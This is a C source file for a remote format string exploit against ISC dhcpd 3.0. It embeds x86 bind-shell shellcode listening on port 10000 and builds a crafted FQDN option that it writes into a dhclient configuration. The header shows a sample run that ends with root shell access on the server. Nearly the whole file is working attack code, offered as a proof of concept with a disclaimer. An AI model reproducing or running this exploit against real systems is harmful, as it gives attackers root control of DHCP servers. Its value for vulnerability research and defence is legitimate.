/*********************************************************** * hoagie_dhcpd.c * * local and remote exploit for isc dhcpd 3.0 (perhaps others) * * hi 19c3 guys ;) * * gcc hoagie_dhcpd.c -o hoagie_dhcpd * * Author: Andi <andi@void.at> * * Greetz to Greuff, philipp and the other hoagie-fellas :-) * * For this exploit we use the very very useful dhcp client * option: hex-coloumn list as fqdn. For this trick we change * in common/tables.c the parsing option to "X". * * # ./hd * hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit * using return address location: 0xbfffdd4c * return address: 0xbfffde38 * dummy vprintf address: 0xbfffdd70 * now run: dhclient -d -cf dhcp.conf eth0 * # ./dhclient -d -cf dhcp.conf eth0 * Internet Software Consortium DHCP Client V3.0 * Copyright 1995-2001 Internet Software Consortium. * All rights reserved. * For info, please visit http://www.isc.org/products/DHCP * * Listening on LPF/eth0/00:02:3f:af:89:fb * Sending on LPF/eth0/00:02:3f:af:89:fb * Sending on Socket/fallback * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3 * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ... * ^C * # telnet dhcpserverip 10000 * id; * uid=0(root) gid=0(root) groups=0(root) * * after I've written the return address location and used the * last %n parameter, vfprintf still pops values from the stack * so what happened: the dhcp server tries to write the written * bytes to something like 0x2578.... which is part of the format * string. so you have to add another dummy address pair where * vfprintf can write dummy bytes. * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * ************************************************************/ #include <stdio.h> #include <stdlib.h> char shellcode[] = "\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x27\x10" // push word 4135 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\x10" // mov al, 16 "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\xb3\x04" // mov bl, 4 "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\x0b" // mov al, 11 "\xcd\x80"; // int 80h char nop[] = "\x90\x90\x90\x90"; int retloc = 0xbfffdd4c; /* use gdb to get it ;) */ int retaddr = 0xbfffde38; /* hmm yes that sounds quite interesting */ int dummyaddr = 0xbfffdd70; /* dummy stack pointer for vprintf */ void help() { printf("\t-l\t ... return address location\n"); printf("\t-r\t ... return address\n"); printf("\t-d\t ... dummy vfprintf address\n"); exit(0); } int main(int argc, char **argv) { char buffer[4096], output[4096], tmp[6], pad[4][20]; FILE *fp; unsigned char rl[4], ra[4], da[4]; int i, opt; unsigned int start, diff, ret; extern char *optarg; printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n"); if (argc > 1) { while ( (opt = getopt(argc, argv, "hl:r:d:")) != EOF) { switch(opt) { case 'h': help(); break; case 'l': sscanf(optarg, "0x%x", &retloc); break; case 'r': sscanf(optarg, "0x%x", &retaddr); break; case 'd': sscanf(optarg, "0x%x", &dummyaddr); break; } } } printf("using return address location: 0x%x\n", retloc); printf("return address: 0x%x\n", retaddr); printf("dummy vprintf address: 0x%x\n", dummyaddr); /* convert return address location */ rl[0] = (char) (retloc >> 24); rl[1] = (char) (retloc >> 16); rl[2] = (char) (retloc >> 8); rl[3] = (char) retloc; /* convert dummy address */ da[0] = (char) (dummyaddr >> 24); da[1] = (char) (dummyaddr >> 16); da[2] = (char) (dummyaddr >> 8); da[3] = (char) dummyaddr; /* calculate paddings */ ra[3] = (char) (retaddr >> 24); ra[2] = (char) (retaddr >> 16); ra[1] = (char) (retaddr >> 8); ra[0] = (char) retaddr; start = 0xd4; for (i = 0; i < 4; i++) { if (start == ra[i]) { strcpy(pad[i], ""); } else { if (start > ra[i]) { ret = ra[i]; while (start > ret) ret += 0x100; diff = ret - start; } else { diff = ra[i] - start; } sprintf(pad[i], "%%%du", diff); start += diff; } } /* build the special format string */ sprintf(buffer, "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf" "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c" "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x" "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x" "\x90\x90\x90\x90%c%c%c%c" "\x90\x90\x90\x90%c%c%c%c" "\x90\x90\x90\x90%c%c%c%c" "\x90\x90\x90\x90%c%c%c%c" "%s%%n" "%s%%n" "%s%%n" "%s%%n" "%s%s", rl[3], rl[2], rl[1], rl[0], rl[3] + 1, rl[2], rl[1], rl[0], rl[3] + 2, rl[2], rl[1], rl[0], rl[3] + 3, rl[2], rl[1], rl[0], da[3], da[2], da[1], da[0], da[3], da[2], da[1], da[0], da[3], da[2], da[1], da[0], da[3], da[2], da[1], da[0], pad[0], pad[1], pad[2], pad[3], nop, shellcode); /* convert to dhcp.conf syntax * hex style input format rules -> change your dhclient source -> tables.c and change fqdn to type X * to add binary values */ memset(output, 0, sizeof(output)); for (i = 0; i < strlen(buffer) - 1; i++) { sprintf(tmp, "%02x:", (unsigned char)buffer[i]); strcat(output, tmp); } sprintf(tmp, "%02x", (unsigned char)buffer[i]); strcat(output, tmp); /* create dhcp.conf and write options */ fp = fopen("dhcp.conf", "w"); fprintf(fp, "send fqdn.server-update on;\n"); fprintf(fp, "send fqdn.fqdn %s;", output); fclose(fp); /* have fun */ printf("now run: dhclient -d -cf dhcp.conf eth0\n"); }